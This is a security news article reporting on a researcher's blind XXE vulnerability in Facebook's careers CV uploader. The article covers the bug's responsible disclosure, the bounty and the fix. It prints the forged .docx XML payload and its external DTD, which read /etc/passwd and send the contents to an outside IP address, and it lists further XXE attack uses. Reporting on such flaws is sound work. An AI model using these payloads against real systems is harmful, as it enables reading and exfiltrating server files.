• Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
MUST READ

200 Swedish municipalities impacted by a major cyberattack on IT provider

 | 

TransUnion discloses a data breach impacting over 4.4 million customers

 | 

NSA, NCSC, and allies detailed TTPs associated with Chinese APT actors targeting critical infrastructure Orgs

 | 

UNC6395 targets Salesloft in Drift OAuth token theft campaign

 | 

Over 28,000 Citrix instances remain exposed to critical RCE flaw CVE-2025-7775

 | 

U.S. CISA adds Citrix NetScaler flaw to its Known Exploited Vulnerabilities catalog

 | 

Healthcare Services Group discloses 2024 data breach that impacted 624,496 people

 | 

ESET warns of PromptLock, the first AI-driven ransomware

 | 

China linked UNC6384 targeted diplomats by hijacking web traffic

 | 

Farmers Insurance discloses a data breach impacting 1.1M customers

 | 

Citrix fixed three NetScaler flaws, one of them actively exploited in the wild

 | 

Auchan discloses data breach: data of hundreds of thousands of customers exposed

 | 

U.S. CISA adds Citrix Session Recording, and Git flaws to its Known Exploited Vulnerabilities catalog

 | 

Docker fixes critical Desktop flaw allowing container escapes

 | 

Malicious apps with +19M installs removed from Google Play because spreading Anatsa banking trojan and other malware

 | 

Pakistan-linked APT36 abuses Linux .desktop files to drop custom malware in new campaign

 | 

Android.Backdoor.916.origin malware targets Russian business executives

 | 

Electronics manufacturer Data I/O took offline operational systems following a ransomware attack

 | 

IoT under siege: The return of the Mirai-based Gayfemboy Botnet

 | 

SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 59

 | 
  • Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
  • Home
  • Hacking
  • Hacking Facebook with a forged Microsoft Word document

Hacking Facebook with a forged Microsoft Word document

Pierluigi Paganini January 01, 2015

A security expert discovered a vulnerability in Facebook that allows to perform several malicious activities just uploading a forged Microsoft Word file.

Security researcher Mohamed Ramadan has discovered a critical vulnerability in Facebook which allows an attacker to hack users’ account using a forged Microsoft Word .docx file. Ramadan is not new to this kind of discoveries, he has already found in the past several vulnerabilities in web services provided by Facebook, Google, Microsoft and Twitter.

Ramadan was performing a reconnaissance of Facebook service when he came onto Facebook’s career page, usually this kind of page allows users to submit their CV through an uploader component. The expert successfully uploaded his CV to the Facebook platform. The Facebook uploader allows only files in PDF or .DOCX formats, then he had the idea to exploit the .docx file, a format designed by Microsoft that basically can be assimilated to a zipped xml file.  At this point, he created a fake CV with forged Microsoft Word document and uploaded onto the Facebook careers web page. Below a piece of code included in the XML file he has written.

DOCTYPE root [
<!ENTITY % file SYSTEM “file:///etc/passwd”>
dtd SYSTEM “http://197.37.102.90/ext.dtd”>
%dtd;
%send;
]]>

He started an HTTP server running on Python on his local machine and he created a file named ext.dtd in the mohaab007 directory.  This is the content retrieved of ext.dtd:

<!ENTITY % all
“ x25; send SYSTEM ‘http://197.37.102.90/FACEBOOK-HACKED?%25file;’>”
>
%all;

After uploading the forged Word CV the researcher waited for the Facebook response.

“Now everything is good and then I uploaded CV.docx to https://www.facebook.com/careers/ and waited a minute but Nothing happened. I said to myself it is a total failure and I will check my Facebook profile instead and chat with some friends and play a game or something after this long FAILED try. I wasted about 15 minute  or so chatting and browsing now it is time to stop python http server and close Facebook and everything . I was going to close my terminal window and I was shocked to see that something connected to my python http server” he stated in a blog post.

facebook hacked docx-xxe

The result is surprising, Ramadan forced a Facebook server to connect to his Python HTTP server, a circumstance that open the doors to several attack scenarios as explained by the expert.

  • DoS  the parsing system by making it open, e.g.file:///dev/random | file:///dev/urandom | file://c:/con/con
  •  TCP scans using HTTP external entities (including behind firewalls since application servers often have worldview different from that of the attacker)
  • Unauthorised access to data stored as XML files on the parsing system file system (of course the attacker still needs a way to get these data back)
  • DoS on other systems (if parsing system is allowed to establish TCP connections to other systems)
  •  NTLM authentication material theft by initiating UNC file access to systems under attacker control (far fetched?)
  • Doomsday scenario: A widely deployed and highly connected application vulnerable to this attack may be used for DDoS.
  • Directory Listing, Read system and application files and in some cases execute system commands using php expect://:// wrapper.

The expert tried to access to Facebook server file system, but failed probably due to security mechanisms the company implemented. The expert anyway was confident that the attack he reproduced was Blind XXE (XML External Entity) Out Of Band (OOB) and noticed also that it was a time-consuming process because he needed  to upload and wait the result after more than 15 minutes. Ramadan ethically reported his findings to Facebook that were rejected the first time.

facebook reply-xxe-1

 

As further evidence of his hack he provided also the forged CV used to force the Facebook server to contact his machine, but he received another negative reply:

facebook reply-xxe-2

He provided other details on his test to the Facebook Security team, which ultimately realized the existence of a serious vulnerability in its file uploader and rewarded Ramadan for his discovery.

facebook reply-xxe-3

 

Facebook fixed the vulnerability in  the uploading mechanism by adding this line of code:

“ libxml_disable_entity_loader(true)“

Following is a PoC video of the Facebook Blind XXE OOB:

Pierluigi Paganini

(Security Affairs –  Facebook, hacking)


facebook linkedin twitter

Blind XXE OOB Facebook Hacking XML XML External Entity

you might also like

Pierluigi Paganini August 28, 2025
200 Swedish municipalities impacted by a major cyberattack on IT provider
Read more
Pierluigi Paganini August 28, 2025
NSA, NCSC, and allies detailed TTPs associated with Chinese APT actors targeting critical infrastructure Orgs
Read more

leave a comment

newsletter

Subscribe to my email list and stay
up-to-date!

    recent articles

    200 Swedish municipalities impacted by a major cyberattack on IT provider

    Security / August 28, 2025

    TransUnion discloses a data breach impacting over 4.4 million customers

    Data Breach / August 28, 2025

    NSA, NCSC, and allies detailed TTPs associated with Chinese APT actors targeting critical infrastructure Orgs

    Intelligence / August 28, 2025

    UNC6395 targets Salesloft in Drift OAuth token theft campaign

    Hacking / August 28, 2025

    Over 28,000 Citrix instances remain exposed to critical RCE flaw CVE-2025-7775

    Hacking / August 27, 2025

    To contact me write an email to:

    Pierluigi Paganini :
    pierluigi.paganini@securityaffairs.co

    LEARN MORE

    QUICK LINKS

    • Home
    • Cyber Crime
    • Cyber warfare
    • APT
    • Data Breach
    • Deep Web
    • Digital ID
    • Hacking
    • Hacktivism
    • Intelligence
    • Internet of Things
    • Laws and regulations
    • Malware
    • Mobile
    • Reports
    • Security
    • Social Networks
    • Terrorism
    • ICS-SCADA
    • POLICIES
    • Contact me

    Copyright@securityaffairs 2024

    We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept All”, you consent to the use of ALL the cookies. However, you may visit "Cookie Settings" to provide a controlled consent.
    Cookie SettingsAccept All
    Manage consent

    Privacy Overview

    This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities...
    Necessary
    Always Enabled
    Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
    Non-necessary
    Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
    SAVE & ACCEPT